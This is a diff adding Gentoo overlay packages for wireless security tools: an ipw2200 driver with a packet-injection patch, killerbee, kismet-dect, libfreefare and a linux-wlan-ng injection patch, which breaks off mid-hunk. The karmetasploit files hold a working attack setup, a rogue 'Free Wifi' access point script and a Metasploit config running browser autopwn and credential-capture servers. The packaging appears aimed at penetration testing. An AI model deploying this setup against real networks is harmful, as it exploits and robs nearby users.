+  -ipw2200-0.8.ebuild:
+  Version bump.  Resolves Bug #72473.
+
+*ipw2200-0.13 (11 Nov 2004)
+
+  11 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.13.ebuild:
+  Version bump.
+
+*ipw2200-0.12 (16 Oct 2004)
+
+  16 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.12.ebuild:
+  Version bump. Firmware is now installed to /lib/firmware, with a symlink to
+  /usr/lib/hotplug/firmware, rather than the reverse. Resolves bug #67641.
+
+*ipw2200-0.11 (01 Oct 2004)
+
+  01 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.11.ebuild:
+  Version bump. Creates symlinks to the firmware in the new firmware location.
+  Resolves bug #65784 and bug #65059.
+
+*ipw2200-0.8 (19 Sep 2004)
+
+  19 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.8.ebuild:
+  Version bump.
+
+*ipw2200-0.7 (04 Sep 2004)
+
+  04 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.7.ebuild:
+  Version bump.
+
+*ipw2200-0.6 (02 Sep 2004)
+
+  02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.6.ebuild:
+  Version bump.  Resolves bug #62653.
+
+*ipw2200-0.5 (02 Sep 2004)
+
+  02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.5.ebuild:
+  Version bump.  Resolves bug #62445.
+
+*ipw2200-0.4-r1 (17 Aug 2004)
+
+  17 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.3.ebuild,
+  +ipw2200-0.4-r1.ebuild, ipw2200-0.4.ebuild:
+  A block on net-wireless/ipw2100 was added to all versions, at the
+  request of latexer, because the ieee80211 module is built by both
+  packages.
+  WPA support is now built, starting with 0.4-r1.
+
+  16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.4.ebuild:
+  Added a check for ARC4 cryptographic support in the kernel.
+
+*ipw2200-0.4 (16 Aug 2004)
+
+  16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.4.ebuild:
+  Version bump.  Resolves Bug #60614.
+
+*ipw2200-0.3 (14 Aug 2004)
+
+  14 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.3.ebuild:
+  Initial ebuild, based on the ebuild for the 2100 driver, for the first
+  version of this driver that actually supports transmitting and
+  receiving data.  WEP, G-band and Ad-hoc mode are currently not
+  supported by the driver.  Resolves Bug #60288.
+
diff --git a/net-wireless/ipw2200/Manifest b/net-wireless/ipw2200/Manifest
new file mode 100644
index 00000000..85198a7f
--- /dev/null
+++ b/net-wireless/ipw2200/Manifest
@@ -0,0 +1,5 @@
+AUX ipw2200-1.2.0-inject.patch 2896 RMD160 dcdbe9440eaa7c5f8df13f1b1b50cd6fa8e2f823 SHA1 541e533ab8cee5127c812a376c6ec337c320f041 SHA256 c7df435dec979d6febb2e52faafe2ba9e7c3338f982f3d63109209fed58d8cc2
+AUX ipw2200-1.2.0-modverdir.patch 528 RMD160 1b704ed1ae7773ff403ea01184d39918af3a7ed0 SHA1 ae4aec08a23189a8906d37f832ef404ed6210838 SHA256 9ae31bf0d63b9c31cf74be1eeb0178da0bdedc90ab9a743397e917b7a32e8e7c
+DIST ipw2200-1.2.0.tgz 139374 RMD160 5b2e6836a552b82b0320f84b088addec21863b21 SHA1 d2b327357afc94a94701d260936b037abf4212e8 SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074
+EBUILD ipw2200-1.2.0.ebuild 2408 RMD160 93965ae3d4e390cb39fb56dad2f621bd584c56bb SHA1 4d85d1c2ef98817e5d30c58d5a09abc62a08a39e SHA256 56c3aec2b275c3d638fbb937e307fc11160e1da5381d96ad0d2b96f1a97024f3
+MISC ChangeLog 13729 RMD160 f6e6431eead73866f1e7bf8eb7c8d186d7708a3c SHA1 459f158a974254132003227ec5de51bbfeda7a09 SHA256 180654c43d98a27a15b79bcdbaca60ccdf15b3db708a200f1f6ed1700277b94c
diff --git a/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
new file mode 100644
index 00000000..7e92a718
--- /dev/null
+++ b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
@@ -0,0 +1,3 @@
+MD5 cfd26b4526186d61a4feeaee217493b9 ipw2200-1.2.0.tgz 139374
+RMD160 5b2e6836a552b82b0320f84b088addec21863b21 ipw2200-1.2.0.tgz 139374
+SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074 ipw2200-1.2.0.tgz 139374
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
new file mode 100644
index 00000000..2ce56d84
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
@@ -0,0 +1,98 @@
+diff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c
+--- ipw2200-1.1.4/ipw2200.c	2006-08-21 04:38:32.000000000 +0200
++++ ipw2200-1.1.4-inject/ipw2200.c	2006-08-23 14:20:31.000000000 +0200
+@@ -1945,6 +1945,66 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ 		   show_net_stats, store_net_stats);
+ 
++static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri);
++
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
++	struct device_attribute *attr,
++#endif
++	const char *buf, size_t count) 
++{
++	struct ipw_priv *priv = (struct ipw_priv *)d->driver_data;
++	struct ieee80211_device *ieee = priv->ieee;
++	struct ieee80211_txb * txb;
++	struct sk_buff *skb_frag;
++	unsigned char * newbuf;
++	unsigned long flags;
++
++	// should test (ieee->is_queue_full) 
++	
++	// Fw only accepts data, so avoid accidental fw errors.
++	if ( (buf[0]&0x0c) != '\x08') {
++		//printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++		return count;
++	}
++
++	if (count>1500) {
++		count=1500;
++		printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++	}
++	
++	spin_lock_irqsave(&priv->lock, flags);
++
++	// Create a txb with one skb
++	txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC);
++	if (!txb)
++		goto nosepuede;
++	txb->nr_frags=1;
++	txb->frag_size = ieee->tx_headroom;
++	txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++	if (!txb->fragments[0]) {
++		kfree(txb);
++		goto nosepuede;
++	}
++	skb_reserve(txb->fragments[0], ieee->tx_headroom);
++	txb->encrypted=0;
++	txb->payload_size=count;
++	skb_frag = txb->fragments[0];
++	newbuf=skb_put(skb_frag, count);
++
++	// copy data into txb->skb and send it
++	memcpy(newbuf, buf, count);
++	
++	ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++	spin_unlock_irqrestore(&priv->lock, flags);
++	return count;
++}
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static void notify_wx_assoc_event(struct ipw_priv *priv)
+ {
+ 	union iwreq_data wrqu;
+@@ -11478,6 +11538,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ 	&dev_attr_rtap_iface.attr,
+ 	&dev_attr_rtap_filter.attr,
++	&dev_attr_inject.attr,
+ #endif
+ 	NULL
+ };
+diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile
+--- ipw2200-1.1.4/Makefile	2006-08-21 04:38:29.000000000 +0200
++++ ipw2200-1.1.4-inject/Makefile	2006-08-23 14:22:06.000000000 +0200
+@@ -30,14 +30,14 @@
+ # simply uncomment:
+ #
+ # NOTE:  To use RADIOTAP you must also enable MONITOR above.
+-#CONFIG_IPW2200_RADIOTAP=y
++CONFIG_IPW2200_RADIOTAP=y
+ 
+ # The above monitor mode provides standard monitor mode.  The following
+ # will create a new interface (named rtap%d) which will be sent all
+ # 802.11 frames received on the interface
+ #
+ # NOTE:  To use PROMISCUOUS you must also enable MONITOR above.
+-#CONFIG_IPW2200_PROMISCUOUS=y
++CONFIG_IPW2200_PROMISCUOUS=y
+ 
+ endif
+ 
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
new file mode 100644
index 00000000..12d70206
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-modverdir.patch
@@ -0,0 +1,20 @@
+Index: ipw2200-1.2.0/Makefile
+===================================================================
+--- ipw2200-1.2.0.orig/Makefile
++++ ipw2200-1.2.0/Makefile
+@@ -153,14 +153,8 @@ clean:
+ distclean: clean
+ 	rm -f tags TAGS
+ 
+-TMP=$(PWD)/tmp
+-MODVERDIR=$(TMP)/.tmp_versions
+-
+ modules:
+-	mkdir -p $(MODVERDIR)
+-	-cp $(IEEE80211_MODVERDIR)/*.mod $(MODVERDIR)
+-	-cp $(IEEE80211_MODVERDIR)/../Modules.symvers $(PWD)
+-	$(MAKE) -C $(KSRC) M=$(PWD) MODVERDIR=$(MODVERDIR) modules
++	$(MAKE) -C $(KSRC) M=$(PWD) modules
+ 
+ 
+ patch_kernel:
diff --git a/net-wireless/ipw2200/ipw2200-1.2.0.ebuild b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
new file mode 100644
index 00000000..697fdf34
--- /dev/null
+++ b/net-wireless/ipw2200/ipw2200-1.2.0.ebuild
@@ -0,0 +1,87 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils linux-mod
+
+# The following works with both pre-releases and releases
+MY_P=${P/_/-}
+S=${WORKDIR}/${MY_P}
+
+IEEE80211_VERSION="1.2.15"
+FW_VERSION="3.0"
+
+DESCRIPTION="Driver for the Intel 2200BG/2915ABG miniPCI/PCI adapters patched with modified inject patches"
+HOMEPAGE="http://ipw2200.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+IUSE="debug inject"
+DEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+		sys-apps/sed"
+RDEPEND=">=net-wireless/ieee80211-${IEEE80211_VERSION}
+		>=net-wireless/ipw2200-firmware-${FW_VERSION}
+		net-wireless/wireless-tools"
+
+BUILD_TARGETS="all"
+MODULE_NAMES="ipw2200(net/wireless:)"
+MODULESD_IPW2200_DOCS="README.ipw2200"
+
+CONFIG_CHECK="NET_RADIO FW_LOADER !IPW2200"
+ERROR_NET_RADIO="${P} requires support for Wireless LAN drivers (non-hamradio) & Wireless Extensions (CONFIG_NET_RADIO)."
+ERROR_FW_LOADER="${P} requires Hotplug firmware loading support (CONFIG_FW_LOADER)."
+ERROR_IPW2200="${P} requires the in-kernel version of the IPW2200 driver to be disabled (CONFIG_IPW2200)"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+
+	if kernel_is 2 4; then
+		die "${P} does not support building against kernel 2.4.x"
+	fi
+
+	if [[ ! -f ${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} ]]; then
+		eerror
+		eerror "Looks like you forgot to remerge net-wireless/ieee80211 after"
+		eerror "upgrading your kernel."
+		eerror
+		eerror "Hint: use sys-kernel/module-rebuild for keeping track of which"
+		eerror "modules needs to be remerged after a kernel upgrade."
+		eerror
+		die "${ROOT}/lib/modules/${KV_FULL}/net/ieee80211/ieee80211.${KV_OBJ} not found"
+	fi
+
+	BUILD_PARAMS="KSRC=${KV_DIR} KSRC_OUTPUT=${KV_OUT_DIR} IEEE80211_INC=/usr/include"
+}
+
+src_unpack() {
+	local debug="n" radiotap="n"
+
+	unpack ${A}
+
+	cd "${S}"
+	epatch "${FILESDIR}/${P}-modverdir.patch"
+	if use inject; then
+		epatch "${FILESDIR}/${P}-inject.patch"
+	fi
+
+	use debug && debug="y"
+	sed -i -e "s:^\(CONFIG_IPW2200_DEBUG\)=.*:\1=${debug}:" "${S}"/Makefile
+}
+
+src_compile() {
+	linux-mod_src_compile
+
+	einfo
+	einfo "You may safely ignore any warnings from above compilation about"
+	einfo "undefined references to the ieee80211 subsystem."
+	einfo
+}
+
+src_install() {
+	linux-mod_src_install
+
+	dodoc CHANGES ISSUES
+}
diff --git a/net-wireless/karmetasploit/Manifest b/net-wireless/karmetasploit/Manifest
new file mode 100644
index 00000000..dfe0d840
--- /dev/null
+++ b/net-wireless/karmetasploit/Manifest
@@ -0,0 +1,4 @@
+AUX karma.rc 1088 RMD160 baa771e9bb2e7d61309364e6a16a97dcf1267ae0 SHA1 93056b24cc00130110935b7d9fdca57a9cc960f0 SHA256 99c1306409f8ccdbd1ced819bc25d546904c2c07cd127ffc8a37faae54d04723
+AUX karmeta-dhcpd.conf 283 RMD160 b45e409f957c28f93c3472aa48686a3a3a935668 SHA1 a6176ce8d7935ca27c81f4b0ce9ed56e23addd87 SHA256 b44406c7dc3c6b9364131813f8c6d35867ae05292a0bef0ed33c46af264b2985
+AUX karmeta.sh 969 RMD160 a059f274c68ea8403fdc155ac1b638401d15a21d SHA1 3adb2bb0c266f46921bda923c3275abb82767be7 SHA256 a733f2ed0e9126ffed1aa3f51b35ddfbc4f96664ef2cb88ea4dfea43553fd731
+EBUILD karmetasploit-0.1-r2.ebuild 577 RMD160 c15a4a0bc784c1bdcc585026836fe3e8c2fba20c SHA1 89358694f22bff1d31bf87392f0a3423823e9050 SHA256 4a03f6ca3478a83e14e36a7019b285b754f763b14e872f22e2db3242a4f331ff
diff --git a/net-wireless/karmetasploit/files/karma.rc b/net-wireless/karmetasploit/files/karma.rc
new file mode 100644
index 00000000..b98a27b6
--- /dev/null
+++ b/net-wireless/karmetasploit/files/karma.rc
@@ -0,0 +1,80 @@
+load db_sqlite3
+db_create /root/karma.db
+
+use auxiliary/server/browser_autopwn
+
+setg AUTOPWN_HOST 10.0.0.1
+setg AUTOPWN_PORT 55550
+setg AUTOPWN_URI /ads
+
+set LHOST 10.0.0.1
+set LPORT 45000
+set SRVPORT 55550
+set URIPATH /ads
+
+run
+
+
+
+use auxiliary/server/capture/pop3
+set SRVPORT 110
+set SSL false
+run
+
+use auxiliary/server/capture/pop3
+set SRVPORT 995
+set SSL true
+run
+
+use auxiliary/server/capture/ftp
+run
+
+use auxiliary/server/capture/imap
+set SSL false
+set SRVPORT 143
+run
+
+use auxiliary/server/capture/imap
+set SSL true
+set SRVPORT 993
+run
+
+use auxiliary/server/capture/smtp
+set SSL false
+set SRVPORT 25
+run
+
+use auxiliary/server/capture/smtp
+set SSL true
+set SRVPORT 465
+run
+
+use auxiliary/server/fakedns
+unset TARGETHOST
+set SRVPORT 5353
+run
+
+use auxiliary/server/fakedns
+unset TARGETHOST
+set SRVPORT 53
+run
+
+use auxiliary/server/capture/http
+set SRVPORT 80
+set SSL false
+run
+
+use auxiliary/server/capture/http
+set SRVPORT 8080
+set SSL false
+run
+
+use auxiliary/server/capture/http
+set SRVPORT 443
+set SSL true
+run
+
+use auxiliary/server/capture/http
+set SRVPORT 8443
+set SSL true
+run
diff --git a/net-wireless/karmetasploit/files/karmeta-dhcpd.conf b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf
new file mode 100644
index 00000000..7c1a2c6c
--- /dev/null
+++ b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf
@@ -0,0 +1,16 @@
+option domain-name-servers 10.0.0.1;
+
+default-lease-time 600;
+max-lease-time 720;
+
+ddns-update-style none;
+
+authoritative;
+
+log-facility local7;
+
+subnet 10.0.0.0 netmask 255.255.255.0 {
+  range 10.0.0.2 10.0.0.254;
+  option routers 10.0.0.1;
+  option domain-name-servers 10.0.0.1;
+}
diff --git a/net-wireless/karmetasploit/files/karmeta.sh b/net-wireless/karmetasploit/files/karmeta.sh
new file mode 100755
index 00000000..f163e481
--- /dev/null
+++ b/net-wireless/karmetasploit/files/karmeta.sh
@@ -0,0 +1,34 @@
+#!/bin/bash
+echo "karmetasploit script by kingtuna: super ultra mega alpha version"
+echo "warning: this currently leaves your system in a funny state."
+echo "you may have to remove monitor interfaces and kill dhcpd and airbase-ng manually"
+killall -9 airbase-ng dhcpd
+iptables --flush
+
+#airmon-ng stop mon0
+if [ x"$1" != x ]
+then
+airmon-ng start $1
+else
+echo "Please specify a device to use as AP"
+exit
+fi
+
+#modprobe tun
+
+/usr/sbin/airbase-ng -P -C 30 -c 6 -e "Free Wifi" -v mon0 > /dev/null 2>&1 &
+sleep 2 
+ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
+ifconfig eth0 up 10.0.0.1 netmask 255.255.255.0
+ifconfig mon0 up 10.0.0.1 netmask 255.255.255.0
+route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
+sleep 2
+LEASEFILE="/var/lib/dhcp/dhcpd.leases"
+if [ ! -f "$LEASEFILE" ]; then
+	touch $LEASEFILE
+fi
+/usr/sbin/dhcpd -cf /etc/karmeta-dhcpd.conf
+sleep 2
+ifconfig at0 mtu 1400
+iptables -t nat -A PREROUTING -i at0 -j REDIRECT
+/usr/bin/msfconsole3 -r /etc/karma.rc
diff --git a/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild
new file mode 100644
index 00000000..e9c2c1b1
--- /dev/null
+++ b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="KARMA + Metasploit 3 == Karmetasploit"
+#karmetasploit + kingtuna script
+HOMEPAGE="http://dev.metasploit.com/redmine/projects/framework/wiki/Karmetasploit"
+
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm x86"
+SLOT="0"
+
+IUSE=""
+
+DEPEND=""
+RDEPEND="net-analyzer/metasploit
+	net-wireless/aircrack-ng
+	net-misc/dhcp"
+
+src_install() {
+	dosbin "${FILESDIR}"/karmeta.sh
+
+	dodir /etc
+	insinto /etc
+	doins "${FILESDIR}"/karmeta-dhcpd.conf "${FILESDIR}"/karma.rc
+}
diff --git a/net-wireless/killerbee/Manifest b/net-wireless/killerbee/Manifest
new file mode 100644
index 00000000..6e3f70ca
--- /dev/null
+++ b/net-wireless/killerbee/Manifest
@@ -0,0 +1 @@
+EBUILD killerbee-9999.ebuild 901 RMD160 8136517e65d1ea4db6a887a8f8170ce0a4ee3e20 SHA1 f80a75fa959b1d1899ea9f70e4dc3b22a796864a SHA256 846c6a109e2a4b8d051b9d027c9bdca9889a06431bf9cfc681d4bd4c3ee6df2f
diff --git a/net-wireless/killerbee/killerbee-9999.ebuild b/net-wireless/killerbee/killerbee-9999.ebuild
new file mode 100644
index 00000000..1324527b
--- /dev/null
+++ b/net-wireless/killerbee/killerbee-9999.ebuild
@@ -0,0 +1,47 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit subversion distutils
+
+DESCRIPTION="KillerBee is a framework and tool set for testing of ZigBee and IEEE 802.15.4 networks"
+HOMEPAGE="http://killerbee.googlecode.com"
+SRC_URI=""
+ESVN_REPO_URI="http://killerbee.googlecode.com/svn/trunk/killerbee"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE="doc"
+
+DEPEND="doc? ( dev-python/epydoc )
+	${RDEPEND}"
+RDEPEND="dev-python/pycairo
+	dev-python/pyusb
+	dev-python/pycrypto
+	dev-python/pygtk"
+
+src_compile() {
+	if use doc; then
+		mkdir pdf
+		epydoc --pdf -o pdf killerbee/
+	fi
+	ewarn "I'm too lazy to make the docs ship, feel free to fix it."
+}
+
+src_install() {
+	distutils_src_install
+	if use doc; then
+		 dodoc "${S}/pdf/*.tex"
+	fi
+}
+
+pkg_postinst() {
+	python_mod_optimize
+}
+
+pkg_postrm() {
+	python_mod_cleanup
+}
diff --git a/net-wireless/kismet-dect/Manifest b/net-wireless/kismet-dect/Manifest
new file mode 100644
index 00000000..097c73ee
--- /dev/null
+++ b/net-wireless/kismet-dect/Manifest
@@ -0,0 +1 @@
+EBUILD kismet-dect-9999.ebuild 1023 RMD160 08284b20b2229acd0d4670810b480b2ef76f3fb0 SHA1 a3054263647c97de3e74ed4f4f60cef6c6cc9e4b SHA256 b17d575ccd3a6dcaac2953d0695f0c06035ce0894ef3c05d6f0a32840cd5e833
diff --git a/net-wireless/kismet-dect/kismet-dect-9999.ebuild b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
new file mode 100644
index 00000000..865ba18d
--- /dev/null
+++ b/net-wireless/kismet-dect/kismet-dect-9999.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit subversion
+
+DESCRIPTION="DECT plugin for kismet"
+HOMEPAGE="https://dedected.org/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=">=net-wireless/kismet-2009.11.1-r1
+	net-wireless/dedected"
+
+ESVN_REPO_URI="https://dedected.org/svn/trunk/kismet-dect"
+
+src_prepare() {
+	# build with custom CFLAGS
+	sed -i -e "s/-g/${CFLAGS}/g" server_module/Makefile
+	sed -i -e "s/-fPIC/${CFLAGS} -fPIC/g" client_module/Makefile
+}
+
+src_compile() {
+	make KIS_SRC_DIR="/usr/include/kismet/" -C client_module || die "failed to compile client module"
+	make KIS_SRC_DIR="/usr/include/kismet/" -C server_module || die "failed to compile server module"
+}
+
+src_install() {
+	make KIS_DEST_DIR="${D}/usr/" -C client_module install || die "failed to install client module"
+	make KIS_DEST_DIR="${D}/usr/" -C server_module install || die "failed to install server module"
+}
diff --git a/net-wireless/libfreefare/Manifest b/net-wireless/libfreefare/Manifest
new file mode 100644
index 00000000..1f4151c1
--- /dev/null
+++ b/net-wireless/libfreefare/Manifest
@@ -0,0 +1,2 @@
+DIST libfreefare-0.3.2.tar.gz 442844 RMD160 1a46647d4edd87be7ca19e53a48bd74077b8c211 SHA1 72131695e60399bdd6bd15900aca3231315ca13b SHA256 aaa3017cba50fa857a12468a9d58b705db18527ad8ffc7f6a06590e147f614d6
+EBUILD libfreefare-0.3.2.ebuild 458 RMD160 5eee2fc0ddd8b383a31d0dc6027f640c5618395e SHA1 4559d9b695fdfd2d7852c2dbde7cce6f2d566bea SHA256 4f804b4c57a722ed2cd73f578858e2544adf99b711315ea7398482b7667c1936
diff --git a/net-wireless/libfreefare/libfreefare-0.3.2.ebuild b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
new file mode 100644
index 00000000..e38f5db2
--- /dev/null
+++ b/net-wireless/libfreefare/libfreefare-0.3.2.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="a library for high level manipulation of MIFARE tags"
+HOMEPAGE="https://code.google.com/p/nfc-tools/"
+SRC_URI="https://nfc-tools.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-lib/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+	DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/linux-wlan-ng-modules/Manifest b/net-wireless/linux-wlan-ng-modules/Manifest
new file mode 100644
index 00000000..d9e108a1
--- /dev/null
+++ b/net-wireless/linux-wlan-ng-modules/Manifest
@@ -0,0 +1,3 @@
+AUX linux-wlan-0.2.3.packet.injection.patch 12854 RMD160 80605f429332acaa974ffe6c77f068709a8aeb75 SHA1 f56a4656a59aee3bf48611958ef0d1ff4d02705a SHA256 75b3b928b5d1ecea8e818f431f780235bcd1cefe592d00dd19b717c0631cb87c
+DIST linux-wlan-ng-0.2.5.tar.bz2 457056 RMD160 3bd08380d9bd131ad960a8b3c9dd87972254357a SHA1 6f95e8e63b3271e3d6b88ec0eb267027b8c6d436 SHA256 882f5fe8c3e3a2538f59e96d002866aea1ce3ad33396da0cea7721455f4a42be
+EBUILD linux-wlan-ng-modules-0.2.5.ebuild 2344 RMD160 3fd869b8293fa4742436d5c97c2480fe5c34b695 SHA1 cabcf854319046e4a84367053e346c901cf2edbb SHA256 9674c1ad2274fcfee8e935e1870b9f5fa5871125cded304efd42464c90b85854
diff --git a/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5 b/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5
new file mode 100644
index 00000000..f91173cb
--- /dev/null
+++ b/net-wireless/linux-wlan-ng-modules/files/digest-linux-wlan-ng-modules-0.2.5
@@ -0,0 +1,3 @@
+MD5 b4f6eb438533f73cd456e5ee7a3f722a linux-wlan-ng-0.2.5.tar.bz2 457056
+RMD160 3bd08380d9bd131ad960a8b3c9dd87972254357a linux-wlan-ng-0.2.5.tar.bz2 457056
+SHA256 882f5fe8c3e3a2538f59e96d002866aea1ce3ad33396da0cea7721455f4a42be linux-wlan-ng-0.2.5.tar.bz2 457056
diff --git a/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch b/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch
new file mode 100644
index 00000000..abd0ef72
--- /dev/null
+++ b/net-wireless/linux-wlan-ng-modules/files/linux-wlan-0.2.3.packet.injection.patch
@@ -0,0 +1,303 @@
+diff -ur linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c
+--- linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c	2005-10-31 14:54:59.000000000 -0500
++++ linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c	2006-03-16 16:33:03.000000000 -0500
+@@ -511,7 +511,7 @@
+ 		 * and return success .
+ 		 * TODO: we need a saner way to handle this 
+ 		 */
+-		if(skb->protocol != ETH_P_80211_RAW) {
++		if(skb->protocol != htons(ETH_P_80211_RAW)) {
+ 			p80211netdev_start_queue(wlandev);
+ 			WLAN_LOG_NOTICE(
+ 				"Tx attempt prior to association, frame dropped.\n");
+@@ -523,7 +523,7 @@
+ 	}
+ 		
+ 	/* Check for raw transmits */
+-	if(skb->protocol == ETH_P_80211_RAW) {
++	if(skb->protocol == htons(ETH_P_80211_RAW)) {
+ 		if (!capable(CAP_NET_ADMIN)) {
+ 			result = 1;
+ 			goto failed;
+@@ -950,8 +950,9 @@
+ 		dev->set_mac_address =	p80211knetdev_set_mac_address;
+ #endif
+ #ifdef HAVE_TX_TIMEOUT
+-		dev->tx_timeout      =  &p80211knetdev_tx_timeout;
+-		dev->watchdog_timeo  =  (wlan_watchdog * HZ) / 1000;
++// korek: still not implemented
++//		dev->tx_timeout      =  &p80211knetdev_tx_timeout;
++//		dev->watchdog_timeo  =  (wlan_watchdog * HZ) / 1000;
+ #endif		
+ 		netif_carrier_off(dev);
+ 	}
+diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c
+--- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c	2005-07-20 11:07:16.000000000 -0400
++++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c	2006-03-17 11:03:09.000000000 -0500
+@@ -1871,8 +1871,16 @@
+ 
+ 	DBFENTER;
+ 
+-	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
+-		HFA384x_CMD_AINFO_SET(enable);
++//	cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++//		HFA384x_CMD_AINFO_SET(enable);
++       if (enable == HFA384x_MONITOR_ENABLE) {
++               // KoreK: get into test mode 0x0a
++               cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++                       HFA384x_CMD_AINFO_SET(0x0a);
++       } else {
++               cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) |
++                       HFA384x_CMD_AINFO_SET(enable);
++       }
+ 	cmd.parm0 = 0;
+ 	cmd.parm1 = 0;
+ 	cmd.parm2 = 0;
+@@ -3112,12 +3120,34 @@
+ #endif
+ 
+ 	/* if we're using host WEP, increase size by IV+ICV */
+-	if (p80211_wep->data) {
+-		txdesc.data_len = host2hfa384x_16(skb->len+8);
+-		//		txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
+-	} else {
+-		txdesc.data_len =  host2hfa384x_16(skb->len);
+-	}
++//	if (p80211_wep->data) {
++//		txdesc.data_len = host2hfa384x_16(skb->len+8);
++//		//		txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1);
++//	} else {
++//		txdesc.data_len =  host2hfa384x_16(skb->len);
++//	}
++
++       if (skb->protocol != htons(ETH_P_80211_RAW)) {
++               /* if we're using host WEP, increase size by IV+ICV */
++               if (p80211_wep->data) {
